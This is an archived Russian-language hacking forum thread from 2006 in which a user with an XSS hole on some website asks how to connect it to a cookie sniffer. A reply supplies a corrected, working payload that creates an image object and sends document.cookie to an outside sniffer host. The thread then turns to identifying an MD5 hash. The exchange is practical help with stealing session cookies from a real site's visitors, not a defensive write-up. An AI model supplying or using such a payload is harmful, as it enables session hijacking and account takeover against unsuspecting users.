PDA

Просмотр полной версии : Вопрос про сниффер


Ponchik
14.05.2006, 21:45
Всем привет! Прошу строго не судить! Я просто не понимаю как логически-верно составить код! Вот такое на сайте проходит javascript:alert('XSS')
А вот подстроить под него античатовский сниффер немогу! Я думал надо javascript:img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie; а не получилось... Помогите, а :confused:
P.S.<script></script> тама не получается, надо как-то через javascript: это возможно?

Tem
14.05.2006, 22:00
В хтмл смотрел во что преврошается <script></script> ?

Ponchik
14.05.2006, 22:26
<script>alert()</script> переплывает в alert() тоесть теги стираются

CinerX
15.05.2006, 00:41
А вот подстроить под него античатовский сниффер немогу!

Дело в том что у тебя в примере который ты дал ошибка. Для того чтоб сработала

javascript: img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;

Тебе надо для начало создать обьект img.
Т.е. так будет правильно:

javascript:img=new Image();img.src= "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;

Ponchik
15.05.2006, 18:44
CinerX, РЕСПЕКТ И ОГРОМНОЕ СПАСИБО!!!!
У меня вопрос... Это md5? 5cf88br3f7ddb3drdee78ecefr9e2aaa

m0nzt3r
16.05.2006, 11:23
32 символов.МД5.Тема закрыта.